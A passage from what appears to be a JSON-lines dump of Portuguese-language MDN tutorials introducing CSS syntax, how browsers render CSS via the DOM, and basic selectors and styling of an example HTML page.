**Properties**: Identificadores legíveis para humanos que indicam quais características estilísticas (por exemplo, `font-size`, `width`, `background-color`) que você deseja alterar.\n* **Valores**: Cada propriedade especificada recebe um valor, que indica como você deseja alterar essas características estilísticas (por exemplo, o que deseja mudar a fonte, a largura ou a cor de fundo para).\n\nA imagem abaixo destaca uma única propriedade e valor. O nome da propriedade é `color` e o valor é `blue`.\n\n![Uma declaração destacada no CSS](/pt-BR/docs/Learn/CSS/First_steps/How_CSS_is_structured/declaration.png)\n\nA property paired with a value is called a *CSS declaration*. CSS declarations are put within *CSS Declaration Blocks*. This next image shows our CSS with the declaration block highlighted.\n\nUma propriedade associada a um valor é chamada de *Declaração CSS*. As declarações CSS são colocadas dentro de *Blocos de Declaração CSS*. A próxima imagem mostra nosso CSS com o bloco de declaração destacado.\n\n![Uma declaração de bloco destacada](/pt-BR/docs/Learn/CSS/First_steps/How_CSS_is_structured/declaration-block.png)\n\nPor fim, blocos de declarações CSS são pareados com *seletores* para produzir *Conjuntos de Regras CSS* (ou *Regras CSS*). Nossa imagem contém duas regras, uma para o seletor `h1` e outra para o seletor `p`. A regra para o seletor h1 está destacada.\n\n![A regra para h1 destacada](/pt-BR/docs/Learn/CSS/First_steps/How_CSS_is_structured/rules.png)\n\nDefinir propriedades CSS para valores específicos é a função central da linguagem CSS. O motor CSS calcula quais declarações se aplicam a cada elemento de uma página para ajustá-la e estilizá-la adequadamente. O que é importante lembrar é que tanto as propriedades quanto os valores diferenciam letras maiúsculas e minúsculas em CSS. A propriedade e o valor em cada par são separados por dois pontos (`:`).\n\n**Tente procurar diferentes valores das seguintes propriedades e escrever regras CSS que as apliquem a diferentes elementos HTML:**\n\n* **`font-size`**\n* **`width`**\n* **`background-color`**\n* **`color`**\n* **`border` (en-US)**\n\n**Aviso:** **Importante**: Se uma propriedade é desconhecida ou se um valor não é válido para uma determinada propriedade, a declaração é considerada *inválida* e é completamente ignorada pelo motor CSS do navegador.\n\n**Aviso:** **Importante**: Em CSS (e em outros padrões da web), a ortografia americana foi estabelecida como padrão a ser seguido quando houver incerteza linguística. Por exemplo, `color` deve ser *sempre* escrito como `color`. `colour` não funcionará.\n\n### Funções\n\nEmbora a maioria dos valores sejam palavras-chave relativamente simples ou valores numéricos, existem alguns valores possíveis que assumem a forma de uma função. Um exemplo seria a função `calc()`. Essa função permite que você faça cálculos simples dentro do seu CSS, por exemplo:\n\n\n```html\n<div class=\"outer\"><div class=\"box\">The inner box is 90% - 30px.</div></div>\n```\n\n\n\n```css\n.outer {\n  border: 5px solid black;\n}\n\n.box {\n  padding: 10px;\n  width: calc(90% - 30px);\n  background-color: rebeccapurple;\n  color: white;\n}\n```\n\n\nIsto é renderizado assim:\n\nUma função consiste no nome da função e, em seguida, em alguns parênteses nos quais os valores permitidos para essa função são inseridos. No exemplo `calc()` acima, estou pedindo para a largura desta caixa ser 90% da largura do bloco contenedor, menos 30 pixels. Isso não é algo que eu possa calcular com antecedência e simplesmente inserir o valor no CSS, pois não sei qual será 90%. Como em todos os valores, a página relevante no MDN terá exemplos de uso para que você possa ver como a função funciona.\n\nOutro exemplo seriam os vários valores para `transform`, como `rotate()`.\n\n\n```html\n<div class=\"box\"></div>\n```\n\n\n\n```css\n.box {\n  margin: 30px;\n  width: 100px;\n  height: 100px;\n  background-color: rebeccapurple;\n  transform: rotate(0.8turn);\n}\n```\n\n\nA saída do código acima se parece com isso:\n\n**Tente procurar diferentes valores das seguintes propriedades, e escreva regras CSS que as apliquem a diferentes elementos HTML:**\n\n* **`transform`**\n* **`background-image` (en-US), in particular gradient values**\n* **`color`, in particular rgb/rgba/hsl/hsla values**\n@rules\n------\n\nAté agora, não encontramos as regras, em inglês `@rules` (pronuncia-se \"at-rules\") do CSS. Estas são regras especiais que dão ao CSS algumas instruções sobre como se comportar. Algumas `@rules` são simples, com o nome da regra e um valor. Por exemplo, para importar uma folha de estilo adicional na sua folha de estilo CSS principal, você pode usar `@import`:\n\n\n```css\n@import \"styles2.css\";\n```\n\n\nUma das `@rules` mais comuns que você encontrará é a `@media`, que permite usar media queries para aplicar CSS somente quando certas condições são verdadeiras (por exemplo, quando a resolução da tela está acima de um certo valor ou a tela é mais larga que uma largura específica).\n\nNesse CSS abaixo, temos um estilo que dá ao elemento `<body>` uma cor de fundo rosa. No entanto, usamos `@media` para criar uma seção do nosso estilo que será aplicada apenas em navegadores com uma viewport mais larga que 30em. Se o navegador for mais largo que 30em, a cor de fundo será azul.\n\n\n```css\nbody {\n  background-color: pink;\n}\n\n@media (min-width: 30em) {\n  body {\n    background-color: blue;\n  }\n}\n```\n\n\nVocê encontrará outras `@rules` durante estes tutoriais.\n\n**Veja se você consegue adicionar uma consulta de mídia ao seu CSS que altere estilos com base na largura da viewport. Altere a largura da janela do seu navegador para ver o resultado.**\n\nAtalhos\n-------\n\nAlgumas propriedades como `font` (en-US), `background`, `padding`, `border` (en-US) e `margin` são chamadas de **propriedades abreviadas** - isso porque elas permitem que você defina vários valores de propriedade em uma única linha, economizando tempo e tornando seu código mais organizado no processo.\n\nPor exemplo, está linha:\n\n\n```css\n/\\* In 4-value shorthands like padding and margin, the values are applied\n in the order top, right, bottom, left (clockwise from the top). There are also other\n shorthand types, for example 2-value shorthands, which set padding/margin\n for top/bottom, then left/right \\*/\npadding: 10px 15px 15px 5px;\n```\n\n\nFaz a mesma coisa que todos eles juntos:\n\n\n```css\npadding-top: 10px;\npadding-right: 15px;\npadding-bottom: 15px;\npadding-left: 5px;\n```\n\n\nPor exemplo, está linha:\n\n\n```css\nbackground: red url(bg-graphic.png) 10px 10px repeat-x fixed;\n```\n\n\nFaz a mesma coisa que todos eles juntos:\n\n\n```css\nbackground-color: red;\nbackground-image: url(bg-graphic.png);\nbackground-position: 10px 10px;\nbackground-repeat: repeat-x;\nbackground-scroll: fixed;\n```\n\n\nNão tentaremos ensinar isso exaustivamente agora - você encontrará muitos exemplos mais tarde no curso, e é aconselhável procurar os nomes das propriedades abreviadas em nossa Referência de CSS para saber mais.\n\n**Tente adicionar as declarações acima ao seu CSS para ver como elas afetam o estilo do seu HTML. Tente experimentar com alguns valores diferentes.**\n\n**Aviso:** Embora os atalhos geralmente permitam que você deixe de fora valores, eles então redefinem quaisquer valores que você não incluir para seus valores iniciais. Isso garante que um conjunto sensato de valores seja usado. No entanto, isso pode ser confuso se você estiver esperando que o atalho apenas mude os valores que passou.\n\nComentários\n-----------\n\nAssim como no HTML, você é incentivado a fazer comentários em seu CSS, para ajudá-lo a entender como seu código funciona quando voltar a ele depois de vários meses, e para ajudar outras pessoas a entenderem o código quando estiverem trabalhando nele.\n\nComentários em CSS começam com `/*` e terminam com `*/`. No bloco de código abaixo, foram usados comentários para marcar o início de diferentes seções de código distintas. Isso é útil para ajudar na navegação da sua base de código à medida que ela cresce - você pode procurar pelos comentários no seu editor de código.\n\n\n```css\n/\\* Handle basic element styling \\*/\n/\\* -------------------------------------------------------------------------------------------- \\*/\nbody {\n  font:\n    1em/150% Helvetica,\n    Arial,\n    sans-serif;\n  padding: 1em;\n  margin: 0 auto;\n  max-width: 33em;\n}\n\n@media (min-width: 70em) {\n  /\\* Let's special case the global font size. On large screen or window,\n we increase the font size for better readability \\*/\n  body {\n    font-size: 130%;\n  }\n}\n\nh1 {\n  font-size: 1.5em;\n}\n\n/\\* Handle specific elements nested in the DOM \\*/\n/\\* -------------------------------------------------------------------------------------------- \\*/\ndiv p,\n#id:first-line {\n  background-color: red;\n  background-style: none;\n}\n\ndiv p {\n  margin: 0;\n  padding: 1em;\n}\n\ndiv p + p {\n  padding-top: 0;\n}\n```\n\n\nOs comentários também são úteis para *comentar* temporariamente partes do código para fins de teste, por exemplo, se você estiver tentando encontrar qual parte do seu código está causando um erro. No próximo exemplo, comentei as regras para o seletor `.special`.\n\n\n```css\n/\\*.special {\n color: red;\n}\\*/\n\np {\n  color: blue;\n}\n```\n\n\n**Adicione alguns comentários ao seu CSS, para se acostumar a usá-los.**\n\nEspaçamento\n-----------\n\nEspaços em branco significam espaços, tabulações e novas linhas. Da mesma forma que no HTML, o navegador tende a ignorar grande parte do espaçamento dentro do seu CSS; grande parte do espaçamento está presente apenas para ajudar na legibilidade.\n\nNo exemplo abaixo, temos cada declaração (e início/fim de regra) em sua própria linha - essa é uma maneira recomendada de escrever CSS, já que torna fácil manter e entender:\n\n\n```css\nbody {\n  font:\n    1em/150% Helvetica,\n    Arial,\n    sans-serif;\n  padding: 1em;\n  margin: 0 auto;\n  max-width: 33em;\n}\n\n@media (min-width: 70em) {\n  body {\n    font-size: 130%;\n  }\n}\n\nh1 {\n  font-size: 1.5em;\n}\n\ndiv p,\n#id:first-line {\n  background-color: red;\n  background-style: none;\n}\n\ndiv p {\n  margin: 0;\n  padding: 1em;\n}\n\ndiv p + p {\n  padding-top: 0;\n}\n```\n\n\nVocê poderia escrever exatamente o mesmo CSS como abaixo, com grande parte do espaçamento removido - isto é, funcionalmente idêntico ao primeiro exemplo, mas é mais difícil de ler:\n\n\n```css\nbody {\n  font:\n    1em/150% Helvetica,\n    Arial,\n    sans-serif;\n  padding: 1em;\n  margin: 0 auto;\n  max-width: 33em;\n}\n@media (min-width: 70em) {\n  body {\n    font-size: 130%;\n  }\n}\n\nh1 {\n  font-size: 1.5em;\n}\n\ndiv p,\n#id:first-line {\n  background-color: red;\n  background-style: none;\n}\ndiv p {\n  margin: 0;\n  padding: 1em;\n}\ndiv p + p {\n  padding-top: 0;\n}\n```\n\n\nO layout de código que você escolher geralmente é uma preferência pessoal, embora quando você começar a trabalhar em equipes, pode descobrir que a equipe existente tem seu próprio guia de estilo que especifica uma convenção acordada a seguir.\n\nO espaçamento que você precisa ter cuidado no CSS é o espaçamento entre as propriedades e seus valores. Por exemplo, as seguintes declarações são CSS válidos:\n\n\n```css\nmargin: 0 auto;\npadding-left: 10px;\n```\n\n\nMas os seguintes são inválidos:\n\n\n```css\nmargin: 0auto;\npadding- left: 10px;\n```\n\n\n`0auto` não é reconhecido como um valor válido para a propriedade `margin` (`0` e `auto` são dois valores separados), e o navegador não reconhece `padding-` como uma propriedade válida. Portanto, você sempre deve garantir que valores distintos estejam separados um do outro por pelo menos um espaço, mas mantenha os nomes das propriedades e os valores das propriedades juntos como uma única cadeia ininterrupta.\n\n**Experimente brincar com espaçamento dentro do seu CSS, para ver o que quebra as coisas e o que não quebra.**\n\nQual é o próximo passo?\n-----------------------\n\nÉ útil entender um pouco sobre como o navegador pega seu HTML e CSS e transforma-o em uma página da web, então no próximo artigo — Como CSS Funciona — vamos dar uma olhada nesse processo.\n\n* Anterior\n* Menu: First steps\n* Próxima"}
{"title":"Como funciona o CSS - Aprendendo desenvolvimento web","text":"Como funciona o CSS\n===================\n\n* Anterior\n* Menu: First steps\n* Próxima\n\nNós aprendemos o básico de CSS, porque e como escrever simples folhas de estílo. Nesta lição, nós daremos uma olhada em como um navegador transforma um CSS e HTML em uma página da web.\n\n|  |  |\n| --- | --- |\n| Pré-requisito: | \n Alfabetização em computação básica,\n softwares básicos instalados, conhecimento básico sobre\n trabalhar com arquivos, e o básico de HTML (estude\n Introdução ao HTML.)\n  |\n| Objetivo: | \n Entender o básico sobre como o CSS e o HTML são interpretados pelo\n navegador (que em seu nome original chama-se browser do inglês), e o que\n acontece quando um browser encontra regras CSS mas não as compreende.\n  |\n\nComo o CSS funciona?\n--------------------\n\nQuando um navegador redenriza um documento, ele combina o documento com suas informações de estilo. E o documento é processado em estágios, nos quais estão listados abaixo. É sugerível ter em mente que esta é uma versão simplificada do que ocorre quando um navegador redenriza uma página web, e que diferentes navegadores podem manipular estes processos de diferentes formas. De toda forma, esta listagem é muito aproximada do processo comum feito pela maioria dos navegadores.\n\n1. O navegador carrega o HTML (e.g. que é recebido pela internet).\n2. Ele então converte o HTML para um DOM (*Document Object Model*). O DOM representa o documento na memória do computador. O DOM será também melhor detalhado na próxima seção.\n3. O navegador então requisita a maioria dos recursos que estão lincados no documento HTML, elementos como imagens encorporadas e vídeos, e também, folhas de estilo CSS. O código em JavaScript é manipulado um pouco mais tarde durante o processo, e não falaremos muito sobre a manipulação do JavaScript agora para mantermos as coisas simples.\n4. O navegador analisa o CSS encontrado (fetched) e interpreta as diferentes regras por meio de seus diferentes tipos de seletores em diferentes baldes (buckets), tais como elementos (ex: h1, h2), classes (.myElement), ID (#myNav), e outros mais. Baseado nos seletores encontrados, o navegador insere as regras de estilização que devem ser aplicadas para cada node no DOM, e anexa o estilo para os elementos como foram especificados nas folhas de estilização (este processo intermediário é chamado de render tree ou árvore de renderização).\n5. A árvore de renderização é organizada na estrutura e deve aparecer depois das regras de estilo serem aplicadas ao documento.\n6. O visual de visualização da página é por fim mostrado na tela (este estágio é chamado de *painting* ou pintura).\n\nO diagrama a seguir também apresenta uma visão simples do processo.\n\n![Rendering process overview](/pt-BR/docs/Learn/CSS/First_steps/How_CSS_works/rendering.svg)\n\nSobre o DOM\n-----------\n\nUm DOM uma estrutura árborea (tree-like). Cada elemento, atributo, ou fragmento de texto na linguagem de marcação (markup language) torna-se um DOM node (nó ou ponto de intersecção) (en-US) na estrutura de árvore. Os nodes (nós) são definidos por meio do relacionamento com outros nodes presentes DOM. Alguns elementos são pais ou superiores a elementos dentro de si (child node, ou em português, nós filhos ou nós secundários), e child nodes possuem elementos irmãos.\n\nCompreender o DOM ajuda você organizar, debugar e manter seu CSS porque o DOM é onde seu CSS e o conteúdo do documento são combinados. Quando você começa a trabalhar com as DevTools do browser você estará navegando os elementos do DOM como itens ordenados selecionáveis para assim decidir quais regras de estilização aplicar.\n\nUma representação prática do DOM\n--------------------------------\n\nAo invés de um longa e chata explicação, vamos observar um exemplo para vermos como um trecho real de um documento HTML é convertido em um DOM.\n\nPegue o seguinte código HTML:\n\n\n```html\n<p>\n  Let's use:\n  <span>Cascading</span>\n  <span>Style</span>\n  <span>Sheets</span>\n</p>\n```\n\n\nNo DOM, o node (nó) especifica nosso elementro `<p>` como um elemento pai. Seus filhos são um text node e a árvore de nós que corresponde ao nossos elementos `<span>`. Os nós `SPAN` são também elementos pais, tendo os text nodes (textos dentro de si) como seus filhos:\n```\n\nP\n├─ \"Let's use:\"\n├─ SPAN\n|  └─ \"Cascading\"\n├─ SPAN\n|  └─ \"Style\"\n└─ SPAN\n   └─ \"Sheets\"\n```\n\n\nEsta é a forma como um browser interpreta o nosso trecho de documento HTML acima apresentado — O browser renderiza a árvore DOM e nos retorna uma saída no browser da seguinte forma:\n```\n\np {\n  margin: 0;\n}\n```\n\nAplicando CSS ao DOM\n--------------------\n\nVamos adicionar um curto CSS ao nosso documento, para estiliza-lo. Novamente, usamos o trecho HTML seguinte:\n\n\n```html\n<p>\n  Let's use:\n  <span>Cascading</span>\n  <span>Style</span>\n  <span>Sheets</span>\n</p>\n```\n\n\nVamos supor que aplicamos o seguinte CSS a ele:\n\n\n```css\nspan {\n  border: 1px solid black;\n  background-color: lime;\n}\n```\n\n\nO browser irá interpretar o HTML e criar um DOM baseado nele. Como a única regra de estilização CSS disponível possui um seletor `span`, o browser fará a combinação do CSS rapidamente! Ele irá aplicar a regra de estilo para cada um da árvore `<span>`s, e então paint (pintar) o resultado final na tela.\n\nAo atualizar há a seguinte saída:\n\nEm nosso artigo Debugging CSS (en-US) no próximo módulo nós estaremos usando as DevTools do browser para debugar problemas no CSS, e aprenderemos mais sobre como o navegador interpreta o CSS.\n\nO que acontece se um navegador não entende o CSS encontrado?\n------------------------------------------------------------\n\nEm uma lição anterior, eu mencionei que navegadores não implementam todo o novo CSS ao mesmo tempo. Em adição, muitas pessoas não usam a versão mais recente de um navegador. Dado que o CSS é processado o tempo todo, e que portanto está adiantado em relação ao que os browsers podem reconhecer, você pode imaginar o que acontece se um browser encontra um seletor ou uma declaração CSS que ele não reconhece.\n\nA resposta é que ele não faz nada e vai para o próximo conteúdo em CSS!\n\nSe um browser está analisando suas regras, e encontra uma propriedade ou valor que ele não entende, ele o ignora e segue para a próxima declaração. Ele vai fazer isto se você cometeu algum erro ou digitou incorretamente uma propriedade ou valor, ou se tal propriedade ou valor é recente e o browser ainda não o processa.\n\nSimilarmente, se um browser encontra um seletor que não comprende, ele o ignorará e seguirá para a próxima regra.\n\nNo exemplo abaixo usei a grafia em inglês britânico para a propriedade cor, o que a torna inválida e portanto ela não é reconhecida. Por isso, o parágrafo não recebe a coloração azul. Todos os outros CSS foram aplicados, no entanto, apenas aquele que foi considerado inválido foi ignorado.\n\n\n```html\n<p>Quero que este texto esteja grande, em negrito, e azul.</p>\n```\n\n\n\n```css\np {\n  font-weight: bold;\n  colour: blue; /\\* grafia incorreta da propriedade cor \\*/\n  font-size: 200%;\n}\n```\n\n\nEste comportamento é bastante útil. Ele significa que você pode usar o novo CSS como uma melhoria, sabendo que não ocorrerá um erro se ele não for completamente compreendido - o browser ou vai entender esta característica ou não. Em conjunto com a maneira que a cascata funciona, e o fato que browsers usarão o último CSS que eles encontrarem numa folha de estilos quando você possui duas regras com a mesma especificidade, você pode oferecer alternativas para browsers que não processam estilos CSS mais novos.\n\nIsto funciona particularmente bem quando você usa um valor que é relativamente recente e que não é processado em todo lugar. Por exemplo, alguns browsers antigos não processam `calc()` como um valor. Eu posso dar um recuo com uma largura em pixels para um box, e então seguir e dar uma largura com o valor de `100% - 50px` com `calc()`. Browsers antigos irão utilizar a versão em pixels, ignorando a linha que trata de `calc()`, já que eles não a compreendem. Browsers mais novos irão interpretar inicialmente a linha que utiliza pixels, para em seguida a sobrepor com a linha utilizando `calc()` conforme ela aparece na cascata.\n\n\n```css\n.box {\n  width: 500px;\n  width: calc(100% - 50px);\n}\n```\n\n\nIremos visualizar várias outras maneiras de auxiliar diferentes browsers em lições futuras.\n\nE por último\n------------\n\nVocê está quase encerrando este módulo; só temos mais uma tarefa para fazer. No próximo artigo, você utilizará seu novo conhecimento para reestilizar um exemplo, testando seus aprendizados de CSS no processo.\n\n* Anterior\n* Menu: First steps\n* Próxima"}
{"title":"Iniciando com CSS - Aprendendo desenvolvimento web","text":"Iniciando com CSS\n=================\n\n* Anterior\n* Menu: First steps\n* Próxima\n\nNeste artigo iremos pegar um simples documento HTML e aplicar o CSS nele, aprendendo algumas coisas práticas sobre a linguagem no decorrer do processo.\n\n|  |  |\n| --- | --- |\n| **pré-requisito**s: | \n Conhecimento básico sobre computador,\n softwares básicos instalados, conhecimento básico de\n como trabalhar com arquivos, e conhecimento básico sobre HTML (estude\n Introdução ao HTML.)\n  |\n| Objetivo: | \n Entender os fundamentos que vinculam um documento CSS a um arquivo HTML,\n e ser capaz de estilizar um texto simples com CSS.\n  |\n\nIniciando com algum HTML\n------------------------\n\nNosso ponto de partida e um documento HTML. Você pode copiar o código abaixo se desejar trabalhar no seu próprio computador. Salve-o como `index.html` em uma pasta, no seu computador.\n\n\n```html\n<!doctype html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>Getting started with CSS</title>\n  </head>\n\n  <body>\n    <h1>I am a level one heading</h1>\n\n    <p>\n      This is a paragraph of text. In the text is a\n      <span>span element</span> and also a\n      <a href=\"http://example.com\">link</a>.\n    </p>\n\n    <p>\n      This is the second paragraph. It contains an <em>emphasized</em> element.\n    </p>\n\n    <ul>\n      <li>Item one</li>\n      <li>Item two</li>\n      <li>Item <em>three</em></li>\n    </ul>\n  </body>\n</html>\n```\n\n\n**Nota:** **Observação**: Se você está lendo isso em um dispositivo móvel ou em um ambiente onde não possa criar arquivos, não se preocupe — editores de código ao vivo estão disponíveis abaixo para permitir que você escreva o código de exemplo aqui, nesta página.\n\nAdicionando CSS para o nosso documento\n--------------------------------------\n\nA primeira coisa que precisamos fazer é falar para o HTML que temos algumas regras CSS que desejamos usar. Há três formas diferentes de aplicar CSS a um documento HTML que você normalmente vai encontrar, contudo, por enquanto, iremos olhar para o mais habitual e útil – vincular o CSS a partir do cabeçalho do seu documento.\n\nCrie um arquivo na mesma pasta em que se encontra o seu documento HTML e salve-o como `style.css`. A extensão `.css` nos informa que se trata de um arquivo CSS.\n\nPara ligar o `style.css` ao `index.html` adicione a seguinte linha em algum lugar dentro do `<head>` do documento HTML:\n\n\n```html\n<link rel=\"stylesheet\" href=\"styles.css\" />\n```\n\n\nEste `<link>` elemento diz ao navegador que temos uma folha de estilo, usando o atributo `rel`, e a localização desse arquivo como o valor do atributo `href`. Você pode testar se esse CSS funciona adicionando regras ao `styles.css`. Usando o seu editor de código, adicione as linhas seguintes ao seu arquivo CSS:\n\n\n```css\nh1 {\n  color: red;\n}\n```\n\n\nSalve os seus arquivos HTML e CSS e atualize a página no seu navegador. O nível de cabeçalho um, no topo do documento, deve estar agora em vermelho. Se tudo estiver correto, parabéns! - Você teve sucesso ao aplicar CSS a um documento HTML. Se nada aconteceu, observe cuidadosamente se você digitou tudo certo.\n\nVocê pode continuar trabalhando no `styles.css` localmente, ou pode usar nosso editor interativo abaixo pra continuar com este tutorial. O editor interativo age como se o CSS no primeiro painel estivesse vinculado ao documento HTML, assim como fizemos com o documento acima.\n\nEstilizando elementos HTML\n--------------------------\n\nFazendo o nosso cabeçalho ficar vermelho, demonstramos que podemos pegar e estilizar um elemento HTML. Fazemos isso especificando um seletor de elemento — Isto é, um seletor que combina diretamente com o nome do elemento HTML. Para especificar todos os parágrafos no documento, você usaria o seletor `p`. Para tornar todos os parágragos verdes, você usaria:\n\n\n```css\np {\n  color: green;\n}\n```\n\n\nVocê pode especificar múltiplos seletores, separando-os com virgula. Se eu quero que todos os parágrafos e todos os itens da lista se tornem verdes, então minha regra se parecerá com isto:\n\n\n```css\np,\nli {\n  color: green;\n}\n```\n\n\nExperimente isso no editor interativo abaixo (edit the code boxes), ou no seu arquivo CSS local.\n\nAlterando o comportamento padrão dos elementos\n----------------------------------------------\n\nQuando olhamos para um documento HTML bem marcado, até algo tão simples como o nosso exemplo, podemos ver como o navegador está tornando o HTML legível adicionando algum estilo padrão. Títulos são grandes e em negritos, nossa lista possui marcadores. Isso acontece porque navegadores tem uma folha de estilo interna contendo estilo padrão, a qual eles aplicam para toda a página por padrão; sem eles, todo o texto seria executado em conjunto e teríamos que estilizar tudo do princípio. Todos os modernos navegadores mostram conteúdo HTML por padrão, da mesma maneira.\n\nContudo, você frequentemente irá desejar algo diferente do que foi escolhido pelo navegador. Isso pode ser feito simplesmente escolhendo o elemento HTML que você quer mudar, e usando uma regra CSS para alterar a forma como ele se parece. Um bom exemplo é o nosso `<ul>`, uma lista não ordenada. Ele tem uma lista marcada, e, se decido não escolher essa marcação, posso removê-los fazendo assim:\n\n\n```css\nli {\n  list-style-type: none;\n}\n```\n\n\nExperimente adicionar isto ao seu CSS agora.\n\nA propriedade `list-style-type` é uma boa propriedade para se ver no MDN para ver quais valores são suportados. Dê uma olhada na página para `list-style-type` (en-US) e encontrará um exemplo interativo no topo da página para experimentar alguns valores diferentes nele, todos os valores permitidos são detalhados mais abaixo na página.\n\nOlhando para essa página você descobrirá que, além de remover a marcação da lista, que você também pode alterá-los — Teste mudá-los para marcação quadrada, usando valores de `square`.\n\nIncluindo uma classe\n--------------------\n\nAté agora, temos estilizado elementos baseado em seus nomes HTML. isto funciona enquanto você desejar que todos os elementos desse tipo, no seu documento, se pareçam o mesmo. Na maioria das vezes, isso não é o caso, e, então, você precisará encontrar uma maneira de selecionar um subconjunto de elementos sem alterar os outros. A maneira mais comum de fazer isso é adicionar uma classe ao seu elemento HTML e especificar essa classe.\n\nNo seu documento HTML, adicione um atributo de classe ao segundo item da lista. Sua lista se parecerá, agora, assim:\n\n\n```html\n<ul>\n  <li>Item one</li>\n  <li class=\"special\">Item two</li>\n  <li>Item <em>three</em></li>\n</ul>\n```\n\n\nNo seu CSS, você pode especificar a classe `special` criando um seletor que inicia com um caractere de ponto final. Adicione o seguinte código ao seu arquivo CSS:\n\n\n```css\n.special {\n  color: orange;\n  font-weight: bold;\n}\n```\n\n\nSalve e recarregue a página no navegador, para visualizar o resultado.\n\nVocê pode aplicar a classe `special` para qualquer elemento na sua página que desejar ter a mesma aparência o item dessa lista. Por exemplo, pode-se querer que o `<span>`, no parágrafo, também se torne laranja e em negrito. Experimente adicionar uma `class` de `special` a ele, em seguida, recarregue a sua página e veja o que acontece.\n\nAlgumas vezes, verá regras com um seletor que lista o seletor do elemento HTML junto com uma classe:\n\n\n```css\nli.special {\n  color: orange;\n  font-weight: bold;\n}\n```\n\n\nEssa sintaxe significa \"pegue qualquer elemento`li` que tenha uma classe `special`\". Se você fizesse isso, não seria mais possível aplicar a classe a um `<span>` ou outro elemento, simplesmente adicionando a classe a ele; você teria que adicionar esse elemento à lista de seletores, assim:\n\n\n```css\nli.special,\nspan.special {\n  color: orange;\n  font-weight: bold;\n}\n```\n\n\nComo pode imaginar, algumas classes podem ser aplicadas a muitos elementos e você não quer ter que editar seu CSS a cada vez que algo novo precisar assumir esse estilo. Portanto, as vezes é melhor ignorar o elemento e simplesmente se referir à classe, a menos que você queira criar algumas regras especiais para um elemento em particular, e, talvez, queira ter certeza que eles não serão aplicados aos outros.\n\nEstilizando coisas baseadas em sua localização no documento\n-----------------------------------------------------------\n\nHá momentos quando você desejará que algo se pareça diferente, baseado onde ele está no documento. Existem vários seletores que podem lhe ajudar aqui, mas, por enquanto, iremos olhar apenas alguns. No nosso documento estão dois elementos `<em>` — um dentro de um parágrafo e o outro dentro do item de lista. Para selecionar apenas um `<em>` aninhado dentro de um elemento `<li>` posso usar um seletor chamado **combinador descendente**, a qual simplesmente, assume a forma de um espaço entre dois outros seletores.\n\nAdicione a seguinte regra a sua folha de estilo.\n\n\n```css\nli em {\n  color: rebeccapurple;\n}\n```\n\n\nEste seletor selecionará qualquer elemento `<em>` que está dentro (um descendente de) um `<li>`. Deste modo, no seu documento de exemplo, você deve achar que o `<em>` no terceiro item da lista agora está roxo, mas o que está dentro do parágrafo permanece inalterado.\n\nOutra coisa que você pode gostar de experimentar é estilizar um parágrafo quando ele vem diretamente após um título no mesmo nível de hierarquia no HTML. Para isso, coloque um `+` (um **combinador irmão adjacente**) entre os seletores.\n\nExperimente adicionar esta regra à sua folha de estilo também:\n\n\n```css\nh1 + p {\n  font-size: 200%;\n}\n```\n\n\nO exemplo ativo abaixo inclui as duas regras acima. Verifique adicionando uma regra para tornar um span vermelho, se ele está dentro de um parágrafo. Você saberá se fez certo quando o span no primeiro parágrafo ficar vermelho, mas o do primeiro item da lista não mudar de cor.\n\n**Nota:** **Observação**: Como pode ver, CSS nos dá várias maneiras de especificar elementos, e temos somente arranhado a superfície até agora! Analisaremos adequadamente todos esses seletores e muitos outros, nos nossos artigos Seletores posteriormente neste curso.\n\nEstilizando coisas baseadas no estado\n-------------------------------------\n\nO tipo final de estilo, que vamos dar uma olhada neste tutorial, é a habilidade de estilizar coisas com base em seu estado. Um exemplo direto disso é quando estilizamos links. Quando aplicamos um estilo a um link, precisamos especificar o elemento `<a>` (âncora). Isto possui diferentes estados, dependendo se ele foi visitado, se não foi visitado, se o mouse está passando por ele, se foi teclado ou no processo de ser clicado (ativado). Você pode usar CSS para especificar estes diferentes estados — o CSS abaixo estiliza links não visitados com a cor rosa e links visitados com a cor verde.\n\n\n```css\na:link {\n  color: pink;\n}\n\na:visited {\n  color: green;\n}\n```\n\n\nVocê pode alterar a aparência do link quando o usuário passa o mouse sobre ele. Por exemplo, removendo o sublinhado, o que é realizado na próxima regra:\n\n\n```css\na:hover {\n  text-decoration: none;\n}\n```\n\n\nNo exemplo ativo abaixo, você pode brincar com diferentes valores para os vários estados do link. Adicionei as regras acima, e agora perceba que a cor rosa é bastante clara e difícil de ler. — porque não mudar isso para uma cor melhor? Pode deixá-los em negrito?\n\nRemovemos o sublinhado do nosso link ao passar o mouse. Pode-se remover os sublinhados de todos os estados de um link. Vale lembrar, no entanto, que em um site real, você deseja garantir que os visitantes saibam que um link é um link. Deixar o sublinhado no lugar pode ser uma pista importante para as pessoas perceberem que é possível clicar em algum texto dentro de um parágrafo — esse é o comportamento ao qual estão acostumados. Como tudo em CSS, existe o potencial de tornar o documento menos acessível com suas alterações — procuraremos destacar possíveis armadilhas em locais apropriados.\n\n**Nota:** **Observação**: Você verá frequentemente menção de acessibilidade nessas lições e no MDN. Quando falamos sobre acessibilidade, estamos nos referindo aos requerimentos para a nossa página web ser compreensível e utilizável por todos.\n\nSeu visitante pode muito bem estar em um computador com um mouse defeituoso, ou um dispositivo móvel com uma tela sensível ao toque. Ou eles podem estar usando um leitor de tela, que lê o conteúdo do documento, ou podem precisar de muito texto grande, ou estar navegando no site apenas usando o teclado.\n\nUm documento HTML simples é geralmente acessível a todos — Ao começar a estilizar esse documento, é importante que você não o rone menos acessível.\n\nCombinando seletores e combinadores\n-----------------------------------\n\nVale ressaltar que você pode combinar vários seletores e combinadores. Até agora, vimos assim:\n\n\n```css\n/\\* selects any <span> that is inside a <p>, which is inside an <article> \\*/\narticle p span { ... }\n\n/\\* selects any <p> that comes directly after a <ul>, which comes directly after an <h1> \\*/\nh1 + ul + p { ... }\n```\n\n\nVocê pode combinar multiplos tipos juntos, também. Experimente acrescentar o seguinte código:\n\n\n```css\nbody h1 + p .special {\n  color: yellow;\n  background-color: black;\n  padding: 5px;\n}\n```\n\n\nIsso estilizará qualquer elemento com a classe `special`, a qual está dentro de um `<p>`, que vem logo após um `<h1>`, que, por sua vez, está dentro de um `<body>`. Ufa!\n\nNo HTML original que forncemos, o único elemento estilizado é `<span class=\"special\">`.\n\nNão se preocupe se isto parece complicado no momento — em breve, você começará a entender como escreve mais CSS.\n\nEmpacotando\n-----------\n\nNeste tutorial, demos uma olhada na quantidade de maneiras as quais pode-se estilizar um documento usando CSS. Estaremos desenvolvendo esse conhecimento ao longo da caminhada através das Lições. No entanto, agora, você já sabe o suficiente para estilizar o texto, aplicar CSS 